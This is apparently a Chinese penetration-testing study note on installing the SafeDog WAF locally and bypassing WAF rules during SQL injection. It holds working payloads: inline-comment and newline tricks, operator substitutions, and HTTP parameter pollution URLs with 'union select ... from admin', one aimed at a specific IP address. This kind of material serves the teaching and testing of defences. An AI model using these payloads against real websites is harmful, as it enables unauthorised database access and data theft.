本地搭建安全狗安装坑
系统服务启动的坑
管理员模式在apache目录执行
httpd.exe -k install -n apache2.0
如果要删除服务重新来,可以输下面这个,给你留着备用
D:phpStudyApachebin>httpd.exe -k install -n apache2.4
sc delete apache2.0
简介WAF
WAF是一个缩写,全名web应用防护系统(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品
Waf有硬件类型也有软件类型的,但是其实在我看来,从绕过Waf机制上来说,区别不大,我们一般渗透测试都会遇到软Waf,因为硬件waf价格有点昂贵,正常企业不会购买,所以基本是GOV站点或者国网、运营商等国企才会大规模装配。
常见的软Waf,:安全狗、云锁、云盾、悬镜、护卫神
bypass是什么?
bypass他就是绕过的意思,我们渗透测试人员通过特殊语句的构建进行渗透测试,然后达到绕过waf的手法
waf检测机制其实很简单,核心就是正则匹配,虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多。
waf的核心,通过正则匹配,如果符合规则,就拦截。 and 1=1 拦截
and 1=1 => And 1=1 => 因为Waf获得数据之后不会去解码
and 1=1
and =>&
1=1 => -1=-1
/**/ 数据库注射
/*!*/内联注释//可以运行 最新版被拦截
union select => union /*10044!select*/ 最新版基本被拦截
/*%0a */
– qwe /*%0a
– qwe/* %0a union select 1,2 from admin limit 1,1 – qwe*/
内联注释
特殊字符 => %0a 换行
iis 传参里面 s%e%l%e%c%t => select
Apache Hpp
http://192.168.136.129/?id=1/*&id=2%23*/
http://59.63.200.79:8003/?id=1/*&id=2 union select 1,2 from admin limit 1,1#*/
记住一句话,安全和客户体验都是需要平衡的,特别是对于Waf而言,你想像,用了waf之后,然后网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输入个’页面就出问题,这个当然不可以,所以waf一般都是通用的,并不是单独定制的,既然是通用的,那么他拦截上会比较谨慎,所以waf的正则一般是搭配的。'
我们既然知道waf通过正则匹配,那么你们第一个反应就是,替换函数对不对 例如:id= 1 and 1=1 waf对and进行了拦截,那么我们是不是得尝试找到替换and的东西,那么运算符就能帮上我们,例如:&
但是输入时候我们发现只写and是不会被拦截的,那么我们想办法改一改 1=1,可以试试-1=-1
甚至例如直接传参,我使用加减符号,乘除符号运算,或者是字符串传参直接用16进制也可以绕过这个waf
这里要讲一个东西叫做内联注释。
内联注释是Mysql为了保持与其他数据兼容,将Mysql中特有的语句放在/*!..*/中,这些语句在不兼容的数据库中不执行,而在mysql自身却能识别,执行。/*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行
常见绕过手法
1、大小写绕过(很老的waf才有用)
2、替换绕过(很老的waf才有用)【和上传文件那个漏洞一样】
3、特殊字符绕过(%0a换行)
4、编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
5、等价替换(利用其它函数替代)[union #%0aselect 拦截] [uinon all #%0aselect 不拦截]